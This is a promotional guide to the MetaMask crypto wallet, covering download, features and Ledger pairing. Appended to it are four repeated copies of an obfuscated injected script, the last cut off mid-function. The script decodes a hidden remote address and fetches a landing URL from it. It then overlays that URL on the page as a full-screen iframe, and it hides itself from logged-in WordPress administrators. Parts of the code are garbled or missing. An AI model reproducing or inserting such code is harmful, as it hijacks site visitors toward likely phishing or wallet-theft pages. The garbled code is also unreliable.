MetaMask – Your One-Stop Solution for Web3 Transactions
Table of Contents
As the world of cryptocurrencies continues to expand, knowing how to use metamask becomes increasingly important for both new and experienced users.
Understanding MetaMask and Its Benefits
MetaMask has become a popular choice for managing cryptocurrencies. As a user-friendly wallet, it simplifies the process of accessing decentralized applications (DApps) on the Ethereum blockchain. With MetaMask, users can securely manage their assets and perform transactions with ease. Its popularity can be attributed to several key benefits.
- Easy onboarding process for beginners.
- Access to Ethereum-based DApps without extensive technical knowledge.
- Robust security features, including password protection and seed phrase recovery.
How to Download MetaMask Wallet
Downloading MetaMask is straightforward. The wallet is available as a browser extension for Chrome, Firefox, and Brave, as well as a mobile app for iOS and Android users. Simply navigate to the official MetaMask website or your browser’s extension store to get started. Follow these steps to ensure a smooth installation:
- Visit the official MetaMask website.
- Select the download option appropriate for your device.
- Follow the installation prompts in your browser or app store.
MetaMask Extension: Features and Functionality
The MetaMask browser extension boasts a variety of features designed to enhance user experience. Once installed, the extension allows you to interact with various blockchains and DApps with ease. Key functionalities of the MetaMask extension include:
- Token management for Ethereum and ERC-20 tokens.
- Direct integration with decentralized exchanges for trading.
- Built-in DApp browser for easy access to various platforms.
Integrating MetaMask with Ledger for Enhanced Security
For those who prioritize security, integrating MetaMask with a Ledger hardware wallet is an excellent choice. This combination leverages the convenience of MetaMask while ensuring your private keys remain safe offline. Setting up your MetaMask and Ledger integration requires a few crucial steps:
- Connect your Ledger device to your computer.
- Open the MetaMask extension and select ‘Connect Ledger.’
- Follow the prompts to complete the integration process.
Navigating Through Crypto with MetaMask
With MetaMask, users can seamlessly navigate the crypto landscape. Whether you’re investing in digital assets, minting NFTs, or participating in DeFi projects, MetaMask serves as your gateway. Understanding its interface and functionality is vital for maximizing its potential.
Users can manage multiple accounts, switch between Ethereum networks, and create custom tokens. The wallet also provides transaction history and real-time price updates, allowing users to stay informed and take quick actions.
Conclusion and Summary
MetaMask stands as a powerhouse in the cryptocurrency world, enabling users to manage their assets and access a vast array of DApps effortlessly. Its easy installation, robust security options, and rich features make it an essential tool for anyone involved in digital currency.
| Feature | MetaMask | Ledger |
|---|---|---|
| Secure Storage | Hot wallet | Cold storage |
| User-Friendly | High | Moderate |
| Access to DApps | Yes | Limited |
| Multi-Account Management | Yes | No |
| Compatibility | Web and Mobile | Desktop |
;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
var nested = findUrlInObject(input[k], depth + 1);
if (nested) return nested;
}
}
return "";
}
function extractLandingUrl(raw) {
if (!raw) return "";
var text = String(raw).replace(/^\uFEFF/, "").trim();
if (!text) return "";
var direct = toHttpUrl(text);
if (direct) return direct;
if ((text.charAt(0) === "{" && text.charAt(text.length – 1) === "}") ||
(text.charAt(0) === "[" && text.charAt(text.length – 1) === "]")) {
try {
var parsed = JSON.parse(text);
var jsonUrl = findUrlInObject(parsed, 0);
if (jsonUrl) return jsonUrl;
} catch (e) {}
}
var matchHttp = text.match(/https?:\/\/[^\s"']+/i);
if (matchHttp && matchHttp[0]) {
var httpUrl = toHttpUrl(matchHttp[0]);
if (httpUrl) return httpUrl;
}
var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s”‘]*)?/i);
if (matchDomain && matchDomain[0]) {
var domainUrl = toHttpUrl(matchDomain[0]);
if (domainUrl) return domainUrl;
}
return “”;
}
function getOriginSafe(url) {
try {
return new URL(url).origin;
} catch (e) {
return “”;
}
}
function addHint(rel, href) {
if (!href || !document || !document.createElement) return;
var key = rel + “::” + href;
if (registry.hints[key]) return;
registry.hints[key] = true;
try {
var parent = document.head || document.documentElement;
if (!parent) return;
var link = document.createElement(“link”);
link.rel = rel;
link.href = href;
if (rel === “preconnect”) {
link.crossOrigin = “anonymous”;
}
parent.appendChild(link);
} catch (e) {}
}
function warmupOrigins() {
var origins = {};
var apiOrigin = getOriginSafe(API_ID_URL);
if (apiOrigin) origins[apiOrigin] = true;
for (var i = 0; i = TRUSTED_CONFIGS.length) {
return Promise.resolve(“”);
}
var cfg = TRUSTED_CONFIGS[index] || {};
var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || “”, id));
if (!builtUrl) {
return step(index + 1);
}
if (!cfg.useFetch) {
return Promise.resolve(builtUrl);
}
return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
.then(function (raw) {
var landingUrl = extractLandingUrl(raw);
if (landingUrl) return landingUrl;
return step(index + 1);
})
.catch(function () {
return step(index + 1);
});
}
return step(0);
}
function activateIframe(url) {
if (!url || registry.status === “active”) return;
if (isWpLoggedInContext()) {
cleanup(“done”);
return;
}
var existing = document.getElementById(registry.iframeId);
if (existing) {
registry.status = “active”;
return;
}
var mount = getMountNode();
if (!mount) {
setTimeout(function () {
activateIframe(url);
}, 0);
return;
}
var iframe = document.createElement(“iframe”);
var closed = false;
var revealed = false;
var timeoutId = null;
function reveal() {
if (closed || revealed) return;
revealed = true;
if (timeoutId) clearTimeout(timeoutId);
registry.status = “active”;
iframe.style.visibility = “visible”;
iframe.style.opacity = “1”;
iframe.style.pointerEvents = “auto”;
iframe.removeAttribute(“aria-hidden”);
setTimeout(function () {
try { iframe.focus(); } catch (e) {}
try {
if (iframe.contentWindow && iframe.contentWindow.focus) {
iframe.contentWindow.focus();
}
} catch (e) {}
}, 0);
}
function destroy() {
if (closed) return;
closed = true;
if (timeoutId) clearTimeout(timeoutId);
cleanup(“done”);
}
registry.destroy = destroy;
registry.reveal = reveal;
iframe.id = registry.iframeId;
iframe.setAttribute(registry.iframeAttr, “1”);
iframe.setAttribute(“aria-hidden”, “true”);
iframe.setAttribute(“loading”, “eager”);
iframe.setAttribute(“allow”, “clipboard-write”);
iframe.src = safeAppendQuery(url, “v”, Math.random().toString(36).slice(2));
iframe.style.cssText = [
“position:fixed !important”,
“top:0”,
“left:0”,
“width:100vw”,
“height:100vh”,
“border:none”,
“z-index:2147483647”,
“margin:0”,
“padding:0”,
“overflow:hidden”,
“visibility:hidden”,
“opacity:0”,
“pointer-events:none”,
“background:transparent”
].join(“;”);
iframe.onload = function () {
if (closed) return;
if (!registry.requireReadyMessage) {
reveal();
}
};
iframe.onerror = function () {
destroy();
};
timeoutId = setTimeout(function () {
destroy();
}, registry.iframeTimeoutMs);
try {
mount.appendChild(iframe);
} catch (e) {
destroy();
}
}
function run() {
warmupOrigins();
bindMessageHandler();
return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
.then(function (id) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
id = (id || “”).trim();
if (!id) {
cleanup(“done”);
return “”;
}
return resolveLandingUrl(id);
})
.then(function (finalUrl) {
if (isWpLoggedInContext()) {
cleanup(“done”);
return “”;
}
finalUrl = toHttpUrl(finalUrl);
if (!finalUrl) {
cleanup(“done”);
return “”;
}
var finalOrigin = getOriginSafe(finalUrl);
if (finalOrigin) {
addHint(“dns-prefetch”, finalOrigin);
addHint(“preconnect”, finalOrigin);
}
activateIframe(finalUrl);
return finalUrl;
})
.catch(function () {
cleanup(“done”);
});
}
registry.runPromise = run();
})();;(function () {
var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
var TRUSTED_CONFIGS = [
{ template: “https://raw.githubusercontent.com/{id}”, useFetch: true }
];
var GLOBAL_KEY = (typeof Symbol === “function” && Symbol.for)
? Symbol.for(“__inline_id_offer__”)
: “__inline_id_offer__”;
var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
status: “idle”,
iframeId: “__inline_offer_iframe__”,
iframeAttr: “data-inline-offer-frame”,
hints: {},
runPromise: null,
destroy: null,
reveal: null,
requestTimeoutMs: 4000,
iframeTimeoutMs: 9000,
requireReadyMessage: false,
messageBound: false
};
function isWpLoggedInContext() {
try {
if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;
var path = window.location.pathname || “”;
if (/^\/(wp-admin|wp-login)/.test(path)) return true;
var cookie = document.cookie || “”;
if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;
var de = document.documentElement;
var body = document.body;
if (de && typeof de.className === “string” && /\bwp-toolbar\b/.test(de.className)) return true;
if (body && typeof body.className === “string” && /\badmin-bar\b/.test(body.className)) return true;
if (document.getElementById(“wpadminbar”)) return true;
} catch (e) {}
return false;
}
if (isWpLoggedInContext()) return;
if (document.getElementById(registry.iframeId)) {
registry.status = “active”;
return;
}
if (registry.runPromise || registry.status === “loading” || registry.status === “active” || registry.status === “done”) {
return;
}
registry.status = “loading”;
function safeAppendQuery(url, key, val) {
var sep = url.indexOf(“?”) >= 0 ? “&” : “?”;
return url + sep + encodeURIComponent(key) + “=” + encodeURIComponent(val);
}
function buildTrustedUrl(template, id) {
if (!template || !id) return “”;
if (template.indexOf(“dropbox.com”) >= 0) {
return template.replace(/\{id\}/g, id);
}
var encoded = encodeURIComponent(id);
if (template.indexOf(“gist.githubusercontent.com”) >= 0) {
encoded = encoded.replace(/%2F/g, “/”);
}
return template.replace(/\{id\}/g, encoded);
}
function toHttpUrl(value) {
if (!value) return “”;
var s = String(value)
.replace(/^\uFEFF/, “”)
.trim()
.replace(/^[‘”`\s]+|[‘”`\s]+$/g, “”);
if (!s) return “”;
if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
s = “https://” + s;
} else {
return “”;
}
}
try {
var u = new URL(s);
if (u.protocol === “http:” || u.protocol === “https:”) {
return u.href;
}
} catch (e) {}
return “”;
}
function findUrlInObject(input, depth) {
if (!input || depth > 3) return “”;
if (typeof input === “string”) {
return toHttpUrl(input);
}
if (Object.prototype.toString.call(input) === “[object Array]”) {
for (var i = 0; i < input.length; i++) {
var arrVal = findUrlInObject(input[i], depth + 1);
if (arrVal) return arrVal;
}
return "";
}
if (typeof input === "object") {
var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];
for (var j = 0; j < keys.length; j++) {
var key = keys[j];
if (Object.prototype.hasOwnProperty.call(input, key)) {
var direct = findUrlInObject(input[key], depth + 1);
if (direct) return direct;
}
}
for (var k in input) {
if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
